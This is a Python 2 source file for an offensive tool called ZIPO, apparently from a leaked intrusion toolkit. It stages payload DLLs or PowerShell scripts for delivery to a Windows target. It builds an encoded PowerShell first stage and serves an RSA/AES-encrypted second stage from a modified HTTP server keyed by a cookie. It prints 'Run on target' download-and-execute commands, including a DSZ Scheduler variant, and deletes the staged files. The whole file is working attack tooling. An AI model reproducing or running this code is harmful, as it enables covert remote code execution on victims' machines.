
from Crypto.Cipher import AES
from Crypto.Hash import SHA
from Crypto.PublicKey import RSA
from Crypto import Random
import base64
import binascii
import datetime
import glob
import logging
import os
import powershellify
import re
import sys
import shutil
import subprocess
import shlex
import struct
import SimpleHTTPServer
import SocketServer
import zlib
global rsa_key
global iv
global logger

class ExploitLogger(logging.FileHandler, ):

    def emit(self, record):
        try:
            stream = self.stream
            stream.write(('%s  %s %s\n' % (record.asctime, record.levelname, record.msg)))
        except:
            self.handleError(record)
            print '[-] Bad error... Logging failed'
        self.flush()

def setup_logging(log_filename):
    global logger
    FORMAT = '%(asctime)-15s  %(message)s'
    logging.basicConfig(format=FORMAT)
    logger = logging.getLogger()
    file_logger = ExploitLogger(log_filename)
    logger.addHandler(file_logger)
    logger.setLevel(logging.INFO)

def create_powershell_b64(script, output_filename):
    script = unicode(script)
    ps_fixed_string = ''
    for character in script:
        ps_fixed_string += (character + '\x00')
    b64_ps_string = base64.b64encode(ps_fixed_string)
    try:
        wf = open(('target_scripts\\%s' % output_filename), 'w')
        wf.write(b64_ps_string)
        wf.close()
    except Exception as e:
        logger.error(('[-] Error Writing index.html, The base64 stub code: %s' % e))
        logger.error('[ !!!!  ]  EXITING  [ !!!! ] ')
        sys.exit((-1))

def changed_parse_request(self):
    global crypto_key
    self.command = None
    self.request_version = version = self.default_request_version
    self.close_connection = 1
    requestline = self.raw_requestline
    if (requestline[(-2):] == '\r\n'):
        requestline = requestline[:(-2)]
    elif (requestline[(-1):] == '\n'):
        requestline = requestline[:(-1)]
    self.requestline = requestline
    words = requestline.split()
    if (len(words) == 3):
        [command, path, version] = words
        if (version[:5] != 'HTTP/'):
            self.send_error(400, ('Bad request version (%r)' % version))
            return False
        try:
            base_version_number = version.split('/', 1)[1]
            version_number = base_version_number.split('.')
            if (len(version_number) != 2):
                raise ValueError
            version_number = (int(version_number[0]), int(version_number[1]))
        except (ValueError, IndexError):
            self.send_error(400, ('Bad request version (%r)' % version))
            return False
        if ((version_number >= (1, 1)) and (self.protocol_version >= 'HTTP/1.1')):
            self.close_connection = 0
        if (version_number >= (2, 0)):
            self.send_error(505, ('Invalid HTTP Version (%s)' % base_version_number))
            return False
    elif (len(words) == 2):
        [command, path] = words
        self.close_connection = 1
        if (command != 'GET'):
            self.send_error(400, ('Bad HTTP/0.9 request type (%r)' % command))
            return False
    elif (not words):
        return False
    else:
        self.send_error(400, ('Bad request syntax (%r)' % requestline))
        return False
    (self.command, self.path, self.request_version) = (command, path, version)
    self.headers = self.MessageClass(self.rfile, 0)
    cookie = self.headers.get('Cookie', '')
    crypto_key = 0
    if cookie:
        logger.info('[+] Cookie Received ')
        crypto_key = cookie
        logger.info('Received RSA encrypted blob: %s', crypto_key)
    conntype = self.headers.get('Connection', '')
    if (conntype.lower() == 'close'):
        self.close_connection = 1
    elif ((conntype.lower() == 'keep-alive') and (self.protocol_version >= 'HTTP/1.1')):
        self.close_connection = 0
    return True

def changed_send_head(self):
    path = self.translate_path(self.path)
    f = None
    if os.path.isdir(path):
        if (not self.path.endswith('/')):
            self.send_response(301)
            self.send_header('Location', (self.path + '/'))
            self.end_headers()
            return None
        for index in ('index.html', 'index.htm'):
            index = os.path.join(path, index)
            if os.path.exists(index):
                path = index
                break
        else:
            return self.list_directory(path)
    ctype = self.guess_type(path)
    try:
        if (os.path.basename(path).lower() == 'index.htm'):
            try:
                if crypto_key:
                    payload = encrypt(rsa_key, path, crypto_key)
                    wf = open((path + '.enc'), 'wb')
                    wf.write(payload)
                    wf.close()
                    f = open((path + '.enc'), 'rb')
                else:
                    self.send_error(404, 'Page does not exist')
                    return None
            except Exception as e:
                logger.error(('[-] Error Writing the encrypted payload or reading the index.htm : %s' % e))
                logger.error('[ !!!!  ]  EXITING  [ !!!! ] ')
                sys.exit((-1))
        else:
            try:
                f = open(path, 'rb')
            except Exception as e:
                logger.error(('[-] Error Reading index.html: %s' % e))
                logger.error('[ !!!!  ]  EXITING  [ !!!! ] ')
                sys.exit((-1))
    except IOError:
        self.send_error(404, 'File not found')
        return None
    self.send_response(200)
    self.send_header('Content-type', ctype)
    fs = os.fstat(f.fileno())
    self.send_header('Content-Length', str(fs[6]))
    self.send_header('Last-Modified', self.date_time_string(fs.st_mtime))
    self.end_headers()
    return f

class exploit:

    def __init__(self, redirector_ip='', redirector_port='8080', local_http_port='8080'):
        self.redir_ip = redirector_ip
        self.redir_port = redirector_port
        self.local_port = int(local_http_port)
        self.decrypt_script = 'index.html'
        self.payload_script = 'index.htm'
        self.ready_to_exploit = False

    def config_decryptor(self):
        try:
            rf = open('decryptor_downloader.base', 'r')
            modulus = get_modulus()
            exponent = get_exponent()
            base_script = rf.read()
            mod_script = re.sub('<IP>', self.redir_ip, base_script)
            mod_script = re.sub('<PORT>', self.redir_port, mod_script)
            mod_script = re.sub('<FILENAME>', self.payload_script, mod_script)
            mod_script = re.sub('<IV>', self.iv, mod_script)
            mod_script = re.sub('<MODULUS>', modulus, mod_script)
            mod_script = re.sub('<EXPONENT>', exponent, mod_script)
            return mod_script
        except Exception as e:
            logger.error(('[-] Error: %s' % e))
            logger.error('[ !!!!  ]  EXITING  [ !!!! ] ')
            sys.exit((-1))

    def prepare(self, payload):
        global iv
        global rsa_key
        logger.info('[+] GENERATING RSA KEY')
        rsa_key = RSA.generate(2048)
        logger.info('[+] RSA KEY GENERATED')
        iv = Random.new().read(16)
        self.iv = base64.b64encode(iv)
        configured_script = self.config_decryptor()
        create_powershell_b64(configured_script, self.decrypt_script)
        logger.info(('[+] 1st Stage configured and stored: %s' % self.decrypt_script))
        self.local_unencrypted_payload = payload
        shutil.copy(payload, ('target_scripts\\%s' % self.payload_script))
        if os.path.exists(('target_scripts\\%s' % self.payload_script)):
            logger.info(('[+] 2nd Stage is present: %s' % self.payload_script))
            self.ready_to_exploit = True
        else:
            logger.error(('[-] 2nd Stage is MISSING: %s' % self.payload_script))
            self.ready_to_exploit = False

    def print_download_cmd(self):
        print '\n\n================================= Run on target =================================='
        command_line = 'scheduler -add 1m "powershell -noprofile -c $wc=New-Object System.Net.Webclient;$sc = $wc.downloadstring(\'http://<IP>:<PORT>/<FILENAME>\');powershell -noprofile -encodedCommand $sc;" at -target'
        mod_line = re.sub('<IP>', self.redir_ip, command_line)
        mod_line = re.sub('<PORT>', self.redir_port, mod_line)
        mod_line = re.sub('<FILENAME>', self.decrypt_script, mod_line)
        print '=== DSZ Scheduler ==='
        print mod_line
        try:
            import win32clipboard
            win32clipboard.OpenClipboard()
            win32clipboard.EmptyClipboard()
            win32clipboard.SetClipboardText(mod_line)
            win32clipboard.CloseClipboard()
            print '============================= DSZ COMMAND IN THE CLIPBOARD ============================='
        except:
            pass
        command_line = "powershell -noprofile -c $wc=New-Object System.Net.Webclient;$sc = $wc.downloadstring('http://<IP>:<PORT>/<FILENAME>');powershell -noprofile -encodedCommand $sc;"
        mod_line = re.sub('<IP>', self.redir_ip, command_line)
        mod_line = re.sub('<PORT>', self.redir_port, mod_line)
        mod_line = re.sub('<FILENAME>', self.decrypt_script, mod_line)
        print '=== Windows cmd line ==='
        print mod_line
        print '================================= Run on target ==================================\n\n'

    def start(self):
        if self.ready_to_exploit:
            saved_cwd = os.getcwd()
            os.chdir('target_scripts')
            Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
            Handler.parse_request = changed_parse_request
            Handler.send_head = changed_send_head
            self.server = SocketServer.TCPServer(('', self.local_port), Handler)
            self.print_download_cmd()
            print '[+] HTTPD Listener Started'
            self.server.handle_request()
            logger.info(('[+] 1st Stage Downloaded - Did GET contain %s?' % self.decrypt_script))
            self.server.handle_request()
            logger.info(('[+] 2nd Stage Downloaded - Did GET contain %s?' % self.payload_script))
            self.cleanup()
            os.chdir(saved_cwd)
        else:
            logger.error('[-] Required Components of the exploit are not configured or missing')
            raise Exception

    def cleanup(self):
        delete_files = glob.glob('index*')
        for file in delete_files:
            os.remove(file)

def get_modulus():
    modulus_long = hex(rsa_key.n)
    logger.info(('[+] Public Modulus: %d' % rsa_key.n))
    modulus_string = '0x00,'
    for i in range(2, len(modulus_long), 2):
        if (modulus_long[i:(i + 2)] != 'L'):
            modulus_string = ('%s0x%s,' % (modulus_string, modulus_long[i:(i + 2)]))
    modulus_string = modulus_string.rstrip(',')
    return modulus_string

def get_exponent():
    exponent_unpacked = struct.pack('L', rsa_key.e)
    logger.info(('[+] Public Exponent: %d' % rsa_key.e))
    exponent_hex = binascii.hexlify(exponent_unpacked)
    exponent_string = ''
    for i in range(0, len(exponent_hex), 2):
        exponent_string = ('%s0x%s,' % (exponent_string, exponent_hex[i:(i + 2)]))
    return exponent_string.rstrip(',')[:(-5)]

def encrypt(rsa, payload, recv_key):
    de64 = base64.b64decode(recv_key)
    password = 0
    decrypt_key = rsa.decrypt(de64)
    bin_key = binascii.hexlify(decrypt_key)
    if ((len(decrypt_key) > 0) and (decrypt_key[0] == '\x02')):
        offset = decrypt_key.find('\x00')
        password = binascii.hexlify(decrypt_key[(offset + 1):])
    if password:
        logger.info(('[+] RSA KEY RECIEVED: %s' % password.upper()))
    else:
        logger.error('PASSWORD WAS NOT FOUND IN COOKIE')
        raise Exception
    try:
        rf = open(payload, 'rb')
        data = rf.read()
        rf.close()
    except Exception as e:
        logger.error(('[-] Error: %s' % e))
        sys.exit((-1))
    aes_hasher = SHA.new(password.upper())
    key = aes_hasher.digest()
    logger.info(('[+] Original Payload Length: %d' % len(data)))
    compressed_data = zlib.compress(data)
    logger.info(('[+] Compressed Payload Length: %d' % len(compressed_data)))
    aes = AES.new(key[:16], AES.MODE_CBC, iv)
    padded_data = (compressed_data + ('\x00' * (16 - (len(compressed_data) % 16))))
    enc_data = aes.encrypt(padded_data)
    logger.info(('[+] Encrypted Payload Length: %d' % len(enc_data)))
    logger.info(('[+] Encrypted: %s' % payload))
    logger.info(('[+] IV: %s' % base64.b64encode(iv)))
    return base64.b64encode(enc_data)

def menu():
    print '=================================='
    print '|           ZIPO                 |'
    print '=================================='
    print '(1) Upload / Execute PC Egg'
    print '(2) Upload / Execute Powershell Script'
    print '(3) Create compressed script to be run manually on target'
    print '(0) Quit'
    ans = raw_input('Choice: ')
    try:
        int_ans = int(ans)
        if ((int_ans >= 0) and (int_ans < 4)):
            return int_ans
        else:
            return None
    except:
        return None

def get_redir_info(redir_ip, redir_port, local_port):
    while True:
        redir_ip = get_input(('Redirector IP:[%s] ' % redir_ip), redir_ip)
        try:
            octs = redir_ip.split('.')
            if (len(octs) != 4):
                raise 
            for test_oct in octs:
                test_val = int(test_oct)
                if ((test_val < 0) or (test_val > 255)):
                    raise 
        except:
            print '[-] Error in Redir IP'
            continue
        redir_port = get_input(('Redirector Listen Port:[%s] ' % redir_port), redir_port)
        try:
            test_val = int(redir_port)
            if ((test_val <= 0) or (test_val > 65535)):
                raise 
        except:
            print '[-] Error in Redir port'
            continue
        local_port = get_input(('Local Listen Port:[%s] ' % local_port), local_port)
        try:
            test_val = int(local_port)
            if ((test_val <= 0) or (test_val > 65535)):
                raise 
        except:
            print '[-] Error in local port'
            continue
        return (redir_ip, redir_port, local_port)

def is_payload_64(filename):
    try:
        dll_file = open(filename, 'rb')
        dos_header = dll_file.read(64)
        (magic,) = struct.unpack('2s', dos_header[:2])
        (offset,) = struct.unpack('<l', dos_header[(-4):])
        if (not (magic == 'MZ')):
            logger.error('[-] File is not an exe or dll')
            sys.exit((-1))
        else:
            logger.info('[+] Detected PE MAGIC')
        dll_file.seek(offset)
        pe_header = dll_file.read(6)
    except Exception as e:
        logger.error(('[-] Error: %s' % e))
        logger.error('[ !!!!  ]  EXITING  [ !!!! ] ')
        sys.exit((-1))
    (machine,) = struct.unpack('<H', pe_header[(-2):])
    if (machine == 34404):
        logger.info(('[+] 64 Bit machine: %s' % hex(machine)))
        logger.info('[+] Payload is 64bit')
        return True
    elif (machine == 332):
        logger.info(('[+] 32 Bit machine: %s' % hex(machine)))
        logger.info('[+] Payload is i386')
        return False
    else:
        logger.info(('[-] Unknown machine: %s' % hex(machine)))
        logger.error("[ !!!! ] I DON'T KNOW WHAT YOU GAVE ME [ !!! ]")
        sys.exit((-1))

def get_input(prompt, old_value):
    new_value = raw_input(prompt)
    if (not new_value.strip()):
        return old_value
    return new_value

def get_logging_dir():
    try:
        base_path = 'D:\\\\Logs\\\\'
        dir_list = os.listdir(base_path)
    except:
        base_path = 'C:\\\\'
        dir_list = os.listdir(base_path)
    project_list = []
    dir_count = 1
    for dir in dir_list:
        if os.path.isdir(('%s%s' % (base_path, dir))):
            print ('[ %d ] %s' % (dir_count, dir))
            dir_count += 1
            project_list.append(('%s%s\\\\' % (base_path, dir)))
    while True:
        input_path = raw_input('Enter Project: ')
        try:
            if ((int(input_path) > 0) and (int(input_path) < (len(project_list) + 1))):
                return project_list[(int(input_path) - 1)]
            else:
                raise 
        except:
            print '[-] Bad value for project'
if (__name__ == '__main__'):
    my_path = os.path.realpath(__file__)
    os.chdir(os.path.dirname(my_path))
    menu_choice = (-1)
    payload = ''
    redir_ip = ''
    redir_port = ''
    local_port = ''
    output_script = ''
    log_dir = get_logging_dir()
    setup_logging(('%s\\\\ZIPO-%s.log' % (log_dir, datetime.date.today().isoformat())))
    while (menu_choice != 0):
        try:
            menu_choice = menu()
            if (menu_choice == 1):
                payload = get_input(('Payload DLL:[%s] ' % payload), payload).strip('"')
                if (not os.path.exists(payload)):
                    print '[-] Path does not exist'
                    continue
                (redir_ip, redir_port, local_port) = get_redir_info(redir_ip, redir_port, local_port)
                dll_ps_script = 'working_dir\\DLL_2_Powershell.txt'
                try:
                    powershellify.make_compressed_script(payload, dll_ps_script)
                except Exception as e:
                    logger.error(e)
                zipo = exploit(redirector_ip=redir_ip, redirector_port=redir_port, local_http_port=local_port)
                logger.info(('[+] Payload info: %s %s %s %s' % (redir_ip, redir_port, local_port, payload)))
                zipo.prepare(dll_ps_script)
                zipo.start()
            if (menu_choice == 2):
                payload = raw_input('Payload Powershell Script: ')
                (redir_ip, redir_port, local_port) = get_redir_info(redir_ip, redir_port, local_port)
                dll_ps_script = payload
                zipo = exploit(redirector_ip=redir_ip, redirector_port=redir_port, local_http_port=local_port)
                logger.info(('[+] Payload info: %s %s %s %s' % (redir_ip, redir_port, local_port, dll_ps_script)))
                zipo.prepare(dll_ps_script)
                zipo.start()
            if (menu_choice == 3):
                ra_options = 1
                if (get_input('Non-Standard Ordinal: Y/(N)', 'N').upper().strip() == 'Y'):
                    while True:
						ra_options = raw_input('Enter ordinal: ').strip()
						try:
							ra_options = int(ra_options)
						except:
							pass
						else:
							break
                if (get_input('Multiple payload dlls?: Y/(N)', 'N').upper().strip() != 'Y'):
                    multi_flag = False
                else:
                    multi_flag = True
                if multi_flag:
                    payload_list = []
                    payload_list.append(get_input(('Payload DLL #1:[%s] ' % payload), payload).strip('"'))
                    payload_list.append(get_input(('Payload DLL #2:[%s] ' % payload), payload).strip('"'))
                    output_script = raw_input(('Output Script:[%s] ' % output_script))
                    powershellify.make_compressed_script(payload_list, output_script, ordinal=ra_options, standalone=True)
                    logger.info(('[+] Payload info ' + str(payload_list)))
                else:
                    payload = get_input(('Payload DLL:[%s] ' % payload), payload).strip('"')
                    output_script = raw_input(('Output Script:[%s] ' % output_script))
                    powershellify.make_compressed_script(payload, output_script, ordinal=ra_options, standalone=True)
                    powershellify.print_help()
                    logger.info(('[+] Payload info %s' % payload))
            if (menu_choice == 0):
                sys.exit(0)
        except Exception as e:
            logger.error(e)
